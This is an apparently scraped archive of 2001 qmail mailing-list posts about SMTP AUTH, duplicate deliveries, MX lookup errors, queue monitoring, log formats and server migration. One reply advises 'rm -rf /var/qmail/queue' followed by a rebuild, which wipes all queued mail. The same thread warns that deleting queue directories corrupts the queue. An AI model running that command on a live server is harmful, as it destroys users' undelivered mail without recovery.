Hi - I have qmail setup 1.03 - Solaris 8 recent patch cluster - Netra X1. I have roaming users ( sales guys ) that need to auth thru smtp ( qmail ) to send messages. I can't seem to get it to go. This is just Outlook 2000 DELL win 2000 )on a laptop and the server for testing purposes. I have installed auth patch and djb's checkpasswd program - I upgrade to the SMTP_AUTH patch .30 and was trying cmd5checkpw - same result. I need a little bit more info on how to implement. I have followed the instructions but things are still a little unclear. Do I need qmail remote or a pop server. ( They only want to send mail thru this server - they will dial there isp and then auth thru the qmail server. I am also using tcpserver to run qmail. I had some instructions on how to test the server with the AUTH cmd through checkpasswd ( I only tested plain at the time) which I can no longer find - it work as outlines and put me in my home dir. Since I have upgraded I need to retest the server. Right now under AUTH plain it gives me out of memory - I don't know that I'm still testing this procedure right. I would like to test LOGIN but don't know how or what to return when it returns it's string. qmail_smtp_auth 0.30 cmd5checkpd 0.22 or checkpasswd qmail 1.03 tcpserver smtp startup #!/bin/sh QMAILDUID=`/usr/xpg4/bin/id -u qmaild` NOFILESGID=`/usr/xpg4/bin/id -g qmaild` MAXSMTPD=`cat /var/qmail/control/concurrencyincoming` exec /usr/local/bin/softlimit -m 200 \ /usr/local/bin/tcpserver -v -p -x /etc/tcp.smtp.cdb -c "$MAXSMTPD" \ -u "$QMAILDUID" -g "$NOFILESGID" 0 smtp /var/qmail/bin/qmail-smtpd me.me.com \ /bin/cmd5checkpw /bin/true smtpd 3 2>&1 I have followed the outgoing instruction for Outlook for the client but it won't let me auth. question - what should be in inet.conf if I'm using tcpserver? Thanks [EMAIL PROTECTED] Please send all flames to PG&E and EL PASO Natural GAS( the weasels! )
Re: POP3 Cluster
On Sat, May 05, 2001 at 06:54:10PM +0200, Karsten W. Rohrbach wrote: > > Anyone on the list(s) have any idea of how to make a "independent-of-another- > > servers" pop3 cluster on a group of qmail-vpopmail servers? Preferentlly on > > distinct DMZs. > quick outline: > - you want high availability, so you might want storage servers such as > a netapp f740 or up; those boxes export the fs as nfs > - you probably want toasters, so you got to implement a multi tier > architecture with more than one resource server (netboot/ldap/...) You could also use EMC storage as a back-end, not cheap but very flexible and reliable. You could also look at an appliance device like those from Mirapoint ... Steve -- NetTek Ltd tel +44-(0)20 7483 1169 fax +44-(0)20 7483 2455 Flat 2,43 Howitt Road, Belsize Park,London NW3 4LU mobile 07775 755503 Epage [EMAIL PROTECTED] [body only]
qmtp
Hey just curious is anyone implementing qmtp presently? I thought about giving it a whirl but wouldnt do much good if im the only one. Administrator Steve Hagerman [EMAIL PROTECTED] http://www.advancedisp.com/ Phone: 864-220-1594
RE: max concurrency for qmail is 500, what's it for sendmail?
Sounds like every morning just about for me. ;-D -Original Message- From: James Stevens [mailto:[EMAIL PROTECTED]] Sent: Wednesday, April 25, 2001 8:56 PM To: [EMAIL PROTECTED] Subject: Re: max concurrency for qmail is 500, what's it for sendmail? Laugh... No Stress is when you wake up screaming and realize it wasn't the phone ringing with that irritating customer you hate so much.. Then you realize as you wide the sweat of your forehead that your not even at work!! If anyone can agree with that say 'hell ya!' --JT >> Original Message << On 4/25/01, 5:18:57 PM, Markus Stumpf <[EMAIL PROTECTED]> wrote regarding Re: max concurrency for qmail is 500, what's it for sendmail?: > On Thu, Apr 26, 2001 at 12:11:46AM +, James Stevens wrote: > > Anyways theres my two cents .. Now I go home and sleep (trying to > > remember what that word actually means) > Lack of caffeine? > SCNR, but I can understand what you mean ... (see my .sig) > Have a good night! > \Maex > -- > SpaceNet AG| Joseph-Dollinger-Bogen 14 | Fon: +49 (89) 32356-0 > Research & Development | D-80807 Muenchen| Fax: +49 (89) 32356-299 > Stress is when you wake up screaming and you realize you haven't fallen > asleep yet.
Some mail gets to my qmail server, some doesn't
I have a weird problem. 90% of the people can email me fine to my qmail server. 10% of the people can't. The 10% of the people who can't get the following error: Reporting-MTA: dns;mail.tripperjones.com Received-From-MTA: dns;jrichard Arrival-Date: Thu, 5 Apr 2001 15:56:32 -0700 Final-Recipient: rfc822;[EMAIL PROTECTED] Action: failed Status: 5.0.0 Weird. I checked all the log files and no log file entries were entered in as failed during the time he tried to email me. So it seems the email isn't even GETTING to the qmail server. So I had the guy who couldn't email me telnet into port 25 and send an email manually through telnet. It worked fine. So I thought "hmmm, maybe this is some sort of weird DNS error". So I my friend run a dslookup from his NT machine. HEre are the results: D:\>nslookup -q=mx pcrush.com *** Can't find server name for address 206.111.47.3: Non-existent domain *** Can't find server name for address 206.111.47.4: Non-existent domain *** Default servers are not available Server: UnKnown Address: 206.111.47.3 Non-authoritative answer: pcrush.com MX preference = 5, mail exchanger = 63.204.40.234 pcrush.com nameserver = dns-1.tricreations.com pcrush.com nameserver = ns4.tricreations.com pcrush.com nameserver = ns5.tricreations.com dns-1.tricreations.com internet address = 216.205.16.110 Is this a problem with the DNS server or is this a problem with qmail? - Steve
Some mail is getting to qmail, some others aren't
I have a weird problem. 90% of the people can email me fine to my qmail server. 10% of the people can't. The 10% of the people who can't get the following error: Reporting-MTA: dns;mail.tripperjones.com Received-From-MTA: dns;jrichard Arrival-Date: Thu, 5 Apr 2001 15:56:32 -0700 Final-Recipient: rfc822;[EMAIL PROTECTED] Action: failed Status: 5.0.0 Weird. I checked all the log files and no log file entries were entered in as failed during the time he tried to email me. So it seems the email isn't even GETTING to the qmail server. So I had the guy who couldn't email me telnet into port 25 and send an email manually through telnet. It worked fine. So I thought "hmmm, maybe this is some sort of weird DNS error". So I my friend run a dslookup from his NT machine. HEre are the results: D:\>nslookup -q=mx pcrush.com *** Can't find server name for address 206.111.47.3: Non-existent domain *** Can't find server name for address 206.111.47.4: Non-existent domain *** Default servers are not available Server: UnKnown Address: 206.111.47.3 Non-authoritative answer: pcrush.com MX preference = 5, mail exchanger = 63.204.40.234 pcrush.com nameserver = dns-1.tricreations.com pcrush.com nameserver = ns4.tricreations.com pcrush.com nameserver = ns5.tricreations.com dns-1.tricreations.com internet address = 216.205.16.110 Is this a problem with the DNS server or is this a problem with qmail? - Steve
Re: Removing from queue
I had a similar problem and found the following instructions somewhere. This worked OK and rebuilt the queue directory structure. Steve 1. # Stop qmail 2. # rm -rf /var/qmail/queue 3. # cd qmail-sources 4. # make setup check 5. # Start qmail At 20:01 28/03/2001, you wrote: >Alex Le Fevre <[EMAIL PROTECTED]> wrote: > > I'm trying to remove a bunch of e-mail from my outgoing queue, which seems > > to be stored in /var/qmail/queue/remote. Can I just delete the directories > > containing these mails, or will that screw up the program? Would it be > > better to just delete the files themselves? > >There's some information and programs for manually twiddling the queue >referenced at www.qmail.org. Removing subdirectories of queue/remote will >definitely corrupt your queue. Even just removing files under there will >corrupt your queue; you need to worry about other parts of the queue >structure as well. > >Charles >-- >--- >Charles Cazabon<[EMAIL PROTECTED]> >GPL'ed software available at: http://www.qcc.sk.ca/~charlesc/software/ >Any opinions expressed are just that -- my opinions. >---
RE: Repeated Identical Messages
Hi Here are the headers from the first mail and the latest in the repeating cycle that I have received. First mail headers: X-NAV-TimeoutProtection0: X X-NAV-TimeoutProtection1: X X-NAV-TimeoutProtection2: X X-NAV-TimeoutProtection3: X X-NAV-TimeoutProtection4: X X-NAV-TimeoutProtection5: X X-NAV-TimeoutProtection6: X Return-Path: <[EMAIL PROTECTED]> Delivered-To: [EMAIL PROTECTED] Received: (qmail 60372 invoked by alias); 14 Mar 2001 15:05:28 - Delivered-To: [EMAIL PROTECTED] Received: (qmail 60367 invoked from network); 14 Mar 2001 15:05:28 - Received: from muncher.math.uic.edu (131.193.178.181) by mail-1.traffic.co.uk with SMTP; 14 Mar 2001 15:05:28 - Received: (qmail 6398 invoked by uid 1002); 14 Mar 2001 14:59:46 - Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm Precedence: bulk Delivered-To: mailing list [EMAIL PROTECTED] Received: (qmail 20740 invoked from network); 14 Mar 2001 14:59:45 - Received: from sal.qcc.sk.ca (198.169.27.3) by muncher.math.uic.edu with SMTP; 14 Mar 2001 14:59:45 - Received: (qmail 20874 invoked by uid 1016); 14 Mar 2001 14:59:22 - Date: Wed, 14 Mar 2001 08:59:22 -0600 From: Charles Cazabon <[EMAIL PROTECTED]> To: [EMAIL PROTECTED] Subject: Re: Messages Won't Remove From Queue Message-ID: <[EMAIL PROTECTED]> References: <[EMAIL PROTECTED]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <[EMAIL PROTECTED]>; from [EMAIL PROTECTED] on Wed, Mar 14, 2001 at 08:48:55AM -0600 X-UIDL: H Delivered-To: [EMAIL PROTECTED] Received: (qmail 34093 invoked by alias); 16 Mar 2001 16:56:46 - Delivered-To: [EMAIL PROTECTED] Received: (qmail 34086 invoked from network); 16 Mar 2001 16:56:46 - Received: from muncher.math.uic.edu (131.193.178.181) by mail-1.traffic.co.uk with SMTP; 16 Mar 2001 16:56:46 - Received: (qmail 6398 invoked by uid 1002); 14 Mar 2001 14:59:46 - Mailing-List: contact [EMAIL PROTECTED]; run by ezmlm Precedence: bulk Delivered-To: mailing list [EMAIL PROTECTED] Received: (qmail 20740 invoked from network); 14 Mar 2001 14:59:45 - Received: from sal.qcc.sk.ca (198.169.27.3) by muncher.math.uic.edu with SMTP; 14 Mar 2001 14:59:45 - Received: (qmail 20874 invoked by uid 1016); 14 Mar 2001 14:59:22 - Date: Wed, 14 Mar 2001 08:59:22 -0600 From: Charles Cazabon <[EMAIL PROTECTED]> To: [EMAIL PROTECTED] Subject: Re: Messages Won't Remove From Queue Message-ID: <[EMAIL PROTECTED]> References: <[EMAIL PROTECTED]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <[EMAIL PROTECTED]>; from [EMAIL PROTECTED] on Wed, Mar 14, 2001 at 08:48:55AM -0600 X-UIDL: [`I"!]LB"!e%)"!Je,"! The X-NAV-TimeoutProtection0: X refers to Norton Antivirus email protection. I have had email repeaters on machines with this switched off however. So far I have received twenty seperate instances of this email. We restarted our qmail server last night explicitly adding to control/timeoutsmtpd a value of 1200 as per the mail by \Maex Unfortunately I had another email account experience a repeat in excess of 47 emails today alone from a Hotmail account. I hope I'm missing something really simple, any help much appreciated. Thanks Steve -Original Message- From: Harald Hanche-Olsen [mailto:[EMAIL PROTECTED]] Sent: 16 March 2001 16:11 To: [EMAIL PROTECTED] Subject: RE: Repeated Identical Messages + dan kelley <[EMAIL PROTECTED]>: | Is there some type of confilct between .qmail and fastfoward, or is a just | a matter of having the .qmail files not including errors? I don't know, but I know this: It could be very useful if some of you guys seeing these duplicates tried comparing headers of the duplicated messages. Starting from the point of duplication, Received: time stamps will be different. We need data, not idle speculation. - Harald
RE: Repeated Identical Messages
Hi We have had several instances of the repeating email syndrome and it seems to be from all flavours of mail servers including Lotus Notes Release 5.0.3 (Intl) and MS Exchange which are being used for both incoming and outgoing mail. Not to sure that this information helps though. Thanks Steve -Original Message- From: dan kelley [mailto:[EMAIL PROTECTED]] Sent: 15 March 2001 15:55 To: Charles Cazabon Cc: [EMAIL PROTECTED] Subject: Re: Repeated Identical Messages i take your point on packetloss / truncated SMTP conversations. however, i'm seeing this from many different domains, including hotmail and yahoo. one oddity: so far, the dups all seems to come from domains that are using qmail for outgoing mail. At 09:39 AM 3/15/01 -0600, you wrote: >Steve Crowder <[EMAIL PROTECTED]> wrote: >> >> [...] I have now received as fourteen separate instances at these times: >[...] >> All mails are identical and I'm sure Charles is not resending the same mail. > >Nope, just the once. > >> Does anyone know why this should be happening or better still how to fix it ? > >I see this too sometimes; it seems to be bursty. I'll get lots of duplicates >for a day or two, then none for a week or three. Dan has mentioned in the >past that packet loss on the UIC link during the day regularly hits 25% -- >since list.cr.yp.to sits on that network, it might be not seeing the >successful response to the DATA command if the connection gets broken before >then, and therefore has to re-send the mail (and logging "possible dupe" >messages in Dan's logs). > >I do note that the duplicates are generally received on weekdays during >North American office hours, and I only notice them on mail coming from >list.cr.yp.to -- not from other ezmlm-managed lists. > >Perhaps djb himself could comment on whether the network saturation at >UIC is causing duplicates? > >Charles >-- >--- >Charles Cazabon<[EMAIL PROTECTED]> >GPL'ed software available at: http://www.qcc.sk.ca/~charlesc/software/ >Any opinions expressed are just that -- my opinions. >--- > > Dan Kelley www.otec.com 212-840-8600
Repeated Identical Messages
Hi All I have a situation where emails sent to accounts on our qmail 1.03 server randomly get regenerated so that multiple copies of the same identical email are resent several times. The number repeated can range from a few to several hundred and there seems to be no set pattern as to the time cycle between each mail. The original mails have been sent from a variety of different servers and platforms - MS and Unix. For example the mail that Charles Cazabon sent as a reply to Bill Luckett<[EMAIL PROTECTED]> to this list Subject Re: Messages Won't Remove From Queue on Wednesday 14/03/2001 15:05 I have now received as fourteen separate instances at these times: Wed 14/03/2001 15:39 Wed 14/03/2001 16:26 Wed 14/03/2001 17:31 Wed 14/03/2001 19.02 Wed 14/03/2001 20:35 Wed 14/03/2001 22.14 Thu 15/03/2001 00:08 Thu 15/03/2001 01:56 Thu 15/03/2001 00:08 Thu 15/03/2001 02:16 Thu 15/03/2001 04:38 Thu 15/03/2001 07:24 Thu 15/03/2001 10:09 Thu 15/03/2001 13:11 All mails are identical and I'm sure Charles is not resending the same mail. Does anyone know why this should be happening or better still how to fix it ? Many thanks for any help. Steve -- Steve Crowder Systems Support Engineer email: [EMAIL PROTECTED] ** http://www.traffic.co.uk Traffic Interactive Limited 191 Old Marylebone Road London NW1 5DW Telephone (Direct Line): +44 (0)20 7298 8281 Telephone (Switchboard): +44 (0)20 7298 8200 Mobile: +44 07718 808 048 Facsimile: +44 (0)20 7298 8201 ISDN: +44 (0)20 7298 8299 **
I couldn't find a mail exchanger or IP address
I'm receiving the "I couldn't find a mail exchanger or IP address" error when sending email to a specific domain, savvy.com. I've seen this question asked before by searching the qmail mailing list archive. The answer has always been that the MX record points to an IP address instead which is not RFC compliant. However, when I do an nslookup on the MX record for savvy.com I see this: > set type=mx > savvy.com Server: 216-119-149-101.ipset29.wt.net Address: 216.119.149.101 savvy.com preference = 10, mail exchanger = pop.e-it.com savvy.com nameserver = ns1.dnswiz.com savvy.com nameserver = ns2.dnswiz.com savvy.com nameserver = ns3.dnswiz.com savvy.com nameserver = ns4.dnswiz.com ns1.dnswiz.com internet address = 207.91.131.30 ns2.dnswiz.com internet address = 207.91.131.31 ns3.dnswiz.com internet address = 216.119.149.100 ns4.dnswiz.com internet address = 216.119.149.101 So I don't believe the typical response applies to this case since pop.e-it.com is not an IP address. Is there another reason for this error? Am I just missing something? Could the problem be on my end? This appears to be the only domain I have problems with (I receive mail from them, I just can't reply). Thanks for any info, Steve Marks [EMAIL PROTECTED]
Re: Load Testing on QMAIL
This has actually brought up a question I've been wondering about
.. what tools are there available that I can use to measure the
performance of a mail server? Ie. SMTP, POP, IMAP? This would be
extremely useful to show hard data to management about performance..
So, could anyone point me in the right direction for such tools?
Steve.
RE: SMTP-after-POP3 AUTH
If you use tcpserver (which I strongly suggest) you can use the relay control scripts on qmail.org. I use this method and it works very well. You can have tcpserver coexist with inetd, etc, just have inetd stop controlling those services. Follow the qmail HOWTO sections about tcpserver, and once you get that installed, the relayctrl scripts will make alot more sense. I'd show you mine, but unless you are already running tcpserver, its useless to you. -Steve -Original Message- From: Peter Cavender [mailto:[EMAIL PROTECTED]] Sent: Saturday, February 10, 2001 9:15 PM To: Bruce Dang Cc: [EMAIL PROTECTED] Subject: Re: SMTP-after-POP3 AUTH I just have to ask why you need to do this. Is there not an SMTP server available, provided by whatever entity provides internet access? On Fri, 9 Feb 2001, Bruce Dang wrote: > Is it possible to have users send email only after they've been > POP3-authenticated. For example, if I want to send an email, I would have > to check my mail first..then for a duration for like 2 or 3 minutes, I can > send my email. The reason I want this is because I do not want to have an > open relay and my users want to send/check their mail from home. I looked > at Mr.Guenter's relay-ctl, but it seems to lack directions. I do not > understand how to set it up. I installed qmail according to Dr. Bernstein's > INSTALL direction, so I did not use tcpserver (daemontools). Can someone > help me out? > > Regards, > > Bruce > > > _ > Do You Yahoo!? > Get your free @yahoo.com address at http://mail.yahoo.com >
Re: Netsaint and qmail-stat
Ok, I'm happy to report I found a solution to the note I sent out last week. The problem was not that the file in mess was not going away quick enough, but that the file was not being created quick enough;-) That is, the file in mess grows as the data comes off the net and the message is built. But - if the email is large enough, and the rate of data transfer is slow enough, the file appears to be sitting there for a while. In our case, the message was of large size, and was being delivered to our server from a client over a slow/dialup link... In all cases, when the transfer was complete, the message was delivered quickly enough and without error. I had failed to note the size changes in earlier checks, and had never timed the log entry of delivery to the file growth/ereaseure. steve -- Steven Tylock <[EMAIL PROTECTED]> Questra Corporation, (716) 381-0260 x521 - Steve Tylock wrote: > > I'm looking for info and have an offer to make - We have Netsaint running > here to monitor servers / services (plug - http://www.netsaint.org/) and > we wrote a very small plugin to check the queue of mail messages sitting > on the servers. > > I would be happy to provide this to anyone looking to do a similar thing. > > The problem - 'phantom' qmail-qstat responses. > > The qmail archives have a few messages about determining how many messages > are in the queue from back a ways, but I didn't find any touching on this: > > qmail-qstat looks at 'messages in queue' by looking for files in the > directories queue/mess/*. > > But - we seem to have a condition (relatively infrequently, but often > enough to cause a stir) - where a file is left in this directory > the message has been delivered. (log confirms delivery, no error) > > That is, every other file with the same name from that message is gone, > but the mess file remains for some period of time. 0-60 minutes later, > the file is removed. > > The best I have been able to guess is that some program is holding onto > an inode, the file is really left there and cleaned up later when it is > used again, or we have some local bug. > > Other info - qmail 1.0.3, Linux 2.2.18, MDA is procmail. > (I'd offer more direct info, but it isn't happening right now...-) > [I started this message in January and waited - I'm attaching an 'ls -lr' > on the queue directory showing 2 left over files in 'mess'] > > I could work around this by changing the way we look for messages in the > queue, or fix this. (and am somewhat thinking I'll see a response - > "your site gets to an empty queue!-)" ((Note - we use the inside the > firewall queue & outside the firewall queue - the inside server should > always get back to a nothing in the queue state. It delivers locally > or gives the messages to the other server to deliver)) > > any help or advice appreciated, > steve > -- > Steven Tylock <[EMAIL PROTECTED]> > Questra Corporation, (716) 381-0260 x521
Re: qmailanalog
I apologize but I am unfamiliar with what you mean by Tai64nlocal Is this a command line option for multilog or something else? - Original Message - From: "Mike Jackson" <[EMAIL PROTECTED]> To: "Steve Woolley" <[EMAIL PROTECTED]> Cc: <[EMAIL PROTECTED]> Sent: Friday, February 02, 2001 11:53 AM Subject: Re: qmailanalog > Steve Woolley wrote: > > > > I am using qmail with the svscan method of > > supervising the processes. I would also like to use > > qmailanalog to do some stats/analysis. Under the > > old "inetd" method of process management. The > > qmail logs were under /var/log/qmail, now they > > are stored under /var/service/qmail/log/main. This > > is not a problem per se, but > > The timestamps under the old method were in the > > following form: 901967408.116537 > > now they are in the form: @40003a76ca281592e16c > > This is tai64 international format. > > > Is there some preprocessor that I am should run this through? > > or maybe some type of awk statement? > > Or should I be looking in a totally different place for my logs? > > Tai64nlocal works for me. > > Mike >
qmailanalog
I am using qmail with the svscan method of supervising the processes. I would also like to use qmailanalog to do some stats/analysis. Under the old "inetd" method of process management. The qmail logs were under /var/log/qmail, now they are stored under /var/service/qmail/log/main. This is not a problem per se, but The timestamps under the old method were in the following form: 901967408.116537 now they are in the form: @40003a76ca281592e16c Is there some preprocessor that I am should run this through? or maybe some type of awk statement? Or should I be looking in a totally different place for my logs? Steve Woolley [EMAIL PROTECTED]
Netsaint and qmail-stat
I'm looking for info and have an offer to make - We have Netsaint running here to monitor servers / services (plug - http://www.netsaint.org/) and we wrote a very small plugin to check the queue of mail messages sitting on the servers. I would be happy to provide this to anyone looking to do a similar thing. The problem - 'phantom' qmail-qstat responses. The qmail archives have a few messages about determining how many messages are in the queue from back a ways, but I didn't find any touching on this: qmail-qstat looks at 'messages in queue' by looking for files in the directories queue/mess/*. But - we seem to have a condition (relatively infrequently, but often enough to cause a stir) - where a file is left in this directory the message has been delivered. (log confirms delivery, no error) That is, every other file with the same name from that message is gone, but the mess file remains for some period of time. 0-60 minutes later, the file is removed. The best I have been able to guess is that some program is holding onto an inode, the file is really left there and cleaned up later when it is used again, or we have some local bug. Other info - qmail 1.0.3, Linux 2.2.18, MDA is procmail. (I'd offer more direct info, but it isn't happening right now...-) [I started this message in January and waited - I'm attaching an 'ls -lr' on the queue directory showing 2 left over files in 'mess'] I could work around this by changing the way we look for messages in the queue, or fix this. (and am somewhat thinking I'll see a response - "your site gets to an empty queue!-)" ((Note - we use the inside the firewall queue & outside the firewall queue - the inside server should always get back to a nothing in the queue state. It delivers locally or gives the messages to the other server to deliver)) any help or advice appreciated, steve -- Steven Tylock <[EMAIL PROTECTED]> Questra Corporation, (716) 381-0260 x521 = > > .: > total 40 > drwx--2 qmails qmail4096 Jan 29 16:57 bounce > drwx-- 25 qmails qmail4096 Jun 5 2000 info > drwx--2 qmailq qmail4096 Jan 29 16:57 intd > drwx-- 25 qmails qmail4096 Jun 5 2000 local > drwxr-x---2 qmailq qmail4096 Jan 25 00:03 lock > drwxr-xr-x2 root root 4096 Jun 2 2000 lost+found > drwxr-x--- 25 qmailq qmail4096 Jun 5 2000 mess > drwx--2 qmailq qmail4096 Jan 29 16:57 pid > drwx-- 25 qmails qmail4096 Jun 5 2000 remote > drwxr-x---2 qmailq qmail4096 Jan 29 16:57 todo > > ./bounce: > total 0 > > ./info: > total 92 > drwx--2 qmails qmail4096 Jan 29 15:22 0 > drwx--2 qmails qmail4096 Jan 29 15:22 1 > drwx--2 qmails qmail4096 Jan 29 16:41 10 > drwx--2 qmails qmail4096 Jan 29 16:41 11 > drwx--2 qmails qmail4096 Jan 29 16:24 12 > drwx--2 qmails qmail4096 Jan 29 16:24 13 > drwx--2 qmails qmail4096 Jan 29 14:15 14 > drwx--2 qmails qmail4096 Jan 29 15:22 15 > drwx--2 qmails qmail4096 Jan 29 15:22 16 > drwx--2 qmails qmail4096 Jan 29 15:22 17 > drwx--2 qmails qmail4096 Jan 29 15:22 18 > drwx--2 qmails qmail4096 Jan 29 15:22 19 > drwx--2 qmails qmail4096 Jan 29 15:22 2 > drwx--2 qmails qmail4096 Jan 29 14:16 20 > drwx--2 qmails qmail4096 Jan 29 15:22 21 > drwx--2 qmails qmail4096 Jan 29 14:16 22 > drwx--2 qmails qmail4096 Jan 29 16:39 3 > drwx--2 qmails qmail4096 Jan 29 16:30 4 > drwx--2 qmails qmail4096 Jan 29 16:57 5 > drwx--2 qmails qmail4096 Jan 29 16:56 6 > drwx--2 qmails qmail4096 Jan 29 16:57 7 > drwx--2 qmails qmail4096 Jan 29 16:51 8 > drwx--2 qmails qmail4096 Jan 29 16:24 9 > > ./info/0: > total 0 > > ./info/1: > total 0 > > ./info/10: > total 0 > > ./info/11: > total 0 > > ./info/12: > total 0 > > ./info/13: > total 0 > > ./info/14: > total 0 > > ./info/15: > total 0 > > ./info/16: > total 0 > > ./info/17: > total 0 > > ./info/18: > total 0 > > ./info/19: > total 0 > > ./info/2: > total 0 > > ./info/20: > total 0 > > ./info/21: > total 0 > > ./info/22: > total 0 > > ./info/3: > total 0 > > ./info/4: > total 0 > > ./info/5: > total 0 > > ./info/6: > total 0 > > ./
smtproute logging
I am about to use smtproute to route some email to another email server. Does using smtproute log any messages when used? Steve Woolley [EMAIL PROTECTED]
Re: qmail speed improvement
On Thu, Feb 01, 2001 at 06:03:37PM +0100, Michael Maier wrote: > Justin Bell wrote: > > On Thu, Feb 01, 2001 at 05:12:36PM +0100, Michael Maier wrote: > > # > mean airspeed velocity of an unladen swallow? > > # Dunno, gonna search on Google! :-) > > the correct response would be 'African or European?' > > Justin Bell > If you are Monty Python, yes! :-) what's your favourite colour ? Steve -- NetTek Ltd tel +44-(0)20 7483 1169 fax +44-(0)20 7483 2455 Flat 2,43 Howitt Road, Belsize Park,London NW3 4LU mobile 07775 755503 Epage [EMAIL PROTECTED] [body only]
Re: Moving qmail servers
> The problem is probably with you moving the queue directory (which is a definite no-no, because the filenames in there must So would the proper order have been to: first: halt qmail processes on original qmail server then: copy /var/qmail/control and /var/qmail/users to new qmail server This would have halt qmail from accepting new emails. The transmitting email servers would have attempted a resend preiodically and once the new email server was up, everyone would be happy. Steve
Moving qmail servers
I recently tried (unsuccessfully) to replace one of my qmail servers (Red Hat Linux 6.2) by: 1) creating new qmail server (lets call it mail2) 2) tar'ing up the following dirs: /var/qmail/control /var/qmail/queue /var/qmail/users /home/vpopmail/domains (cause I use vpopmail) /home/vpopmail/users (cause I use vpopmail) 3) stopping the qmail processes on mail1 (the qmail server to be replaced) and mail2 4) un-tar'ing the files on the mail2 5) shutdown server mail1 6) rename and re-IP mail2 to mail1 by editting the following: /etc/sysconfig/network-scripts/ifcfg-eth0 /etc/hosts /etc/sysconfig/network /etc/HOSTNAME 7) bring up new qmail server (now known as mail1) The hopes were by following this pattern I would: * experience very little down time * if a problem occured, all I had to do was simply shutdown new qmail server and bring up old one * no DNS changes to make The only problem was it didn't work. Everything seemed to come up OK. Email could be queued up but would not get delivered UNTIL I bounced the box. In this case all the mail that was queued up got sent but any new mail still experienced the problem (it would queue up but would not be delivered until I rebooted the box). After a few frustrating attempts at fixing, I simply shut the new box down and brought up the old one. The only thing I could guess was the when qmail is compiled, I remember the instructions were specific about making sure (hostname -f) responded with the FQDN. Since at the time the box was compiled, the FQDN of the new qmail server was mail2.domainname.com, this caused some problem when I shifted the FQDN to mail1.domainname.com. Questions: Is their a better way to perform this task? Did I miss some key task when I renamed and re-IP'd the new qmail server? Steve Woolley [EMAIL PROTECTED]
Qwest.net & Qmail - online presentation..
I just got this off /. and there was a link to how Qwest.net set up its mailservers. It's a basic presentation with photos, but its useful. What's really nice is their use of Qmail & explaination why.. http://www.users.qwest.net/~presentations/cmikk/ Steve.
smtproutes
I am planning to use smtproutes to route email from a qmail server to an internal Microsoft Exchange 5.5 server. If the Exchange server goes down for a period of time, will the qmail server cache (for lack of a better word) the routed emails locally until the Exchange server comes back up? or will the qmail server bounce the email back (after a given amount of time)? Steve Woolley [EMAIL PROTECTED]
Re: slow connection init
I added both the -R and -H options and the initial connection lag does not seem to have reoccurred. I will be trying the -R and the -H individually to isolate the problem. However, later in your note, you mentioned identd. I have removed this service from my exposed email and web servers because I heard they were security holes. I also thought identd was only for other hosts trying to id processes on my box and thus figured it was not needed. Could this be the problem? Steve - Original Message - From: "Andrew Richards" <[EMAIL PROTECTED]> To: <[EMAIL PROTECTED]>; "'Steve Woolley'" <[EMAIL PROTECTED]> Sent: Monday, January 22, 2001 2:35 PM Subject: RE: slow connection init > >flys (very fast). After aprox one day, any > >connection into this server (sshd, telnet , pop, > >smtp, etc) takes a while to initiate. Sometimes > >more than 60 seconds -- which of course times out > >most POP connections. Once connected, everything seems to > >act normal (connections initiated quickly). > > Steve, > > Also take a look at the -R, -H and -l options to tcpserver - these > relate to DNS and identd lookups - try using all three (see the > man page) and see if the behaviour of the box changes. If so, > investigate why - then either leave these options in, or address > the issues these options work around. > > cheers, > > Andrew. > >
Re: slow connection init
> I had this problem with my mail server as well... > qmail logs extensively, and if you have it using the generic logging > stuffs, the files get HUGE and the entire system drags like a dog. > Thanks for the input Teep. Since this is a new box (and I also verified) the size of the log files are (so far) very small. Thx
slow connection init
I am running a Red Hat v6.2 (w/ patches) server on a AMD Athlon 800MHz with 256M RAM -- and have been fairly pleased with its performance. The problem is I want to migrate my existing RH 6.2 qmail mail server (a slower Pentium II). The problem is, when first started the server flys (very fast). After aprox one day, any connection into this server (sshd, telnet , pop, smtp, etc) takes a while to initiate. Sometimes more than 60 seconds -- which of course times out most POP connections. Once connected, everything seems to act normal (connections initiated quickly). I have looked into the logs and looked at netsat -pa to get some insight into this slowdown, but have not had very good luck. I know this is probably not directly related to qmail, but I am a little woried about the svscan process and how quickly it can wake up a process. P.S> I can see the correct processes running when I get in this process initiation hang so I don't think they've died. Could it be some reverse name resolution problem? HELP!?!?!?! -- Steve Woolley [EMAIL PROTECTED]
RAID & Qmail.
I've searched the archives extensively, and I've learned quite a lot, but I'd like advice on this question: Assuming RAID 1+0 is not an option (due to the expense), what level of RAID is best for storing /Maildir's on a file server (that will be accessible to the SMTP & POP servers via NFS). Redudancy is the big issue, otherwise I'd go for RAID 1. The suits are pushing for RAID 5 because they don't know better - and won't listen. Steve.
OT: Exclamation marks.
FYI,
The US Secret Service uses a formula devised by a psyciatrist to
determine the danger level someone poses by their use of exclamation
marks. Specifically, the number of exclamation marks they use to make a
point. So, I suggest that this list filter out those messages that have this
characteristic for everyone's safety.
Steve.
RE: Addon
Thanks for this. After a quick browse I'm sure I can get all the answers I need from there. Ta Steve -Original Message- From: Tim Hunter [mailto:[EMAIL PROTECTED]] Sent: 15 January 2001 14:48 To: qmail Subject: RE: Addon Check the list archives. This same question has be asked in one form or another nearly every month. Search on footer. It might also have a link on the www.qmail.org page. -Original Message- From: Steve Crowder [mailto:[EMAIL PROTECTED]] Sent: Monday, January 15, 2001 5:57 AM To: qmail Subject: Addon Hi I've been scouring documentation to find an answer but to no avail. Perhaps someone can point me to the right place to help me with the following: Currently running qmail 1.03 on FreeBSD 4.1, I would like to add an extra item of text to every email that is sent from all our users when they mail externally to our domain. Any help much appreciated. Thanks Steve -- Steve Crowder Systems Support Engineer email: [EMAIL PROTECTED]
Addon
Hi I've been scouring documentation to find an answer but to no avail. Perhaps someone can point me to the right place to help me with the following: Currently running qmail 1.03 on FreeBSD 4.1, I would like to add an extra item of text to every email that is sent from all our users when they mail externally to our domain. Any help much appreciated. Thanks Steve -- Steve Crowder Systems Support Engineer email: [EMAIL PROTECTED]
Migrating from M$ Exchange to Qmail
We are trying to migrate about 1800 users from M$ Exchange 2000 to Qmail and was wondering if anyone has any experience with this? We'd like to do it without losing any of the email if at all possible. Thanks in advance. -- Steve Powell - Systems Administrator Solution Pro, Inc. http://www.spro.net (208)321-4705
RE: Startup Script Advise
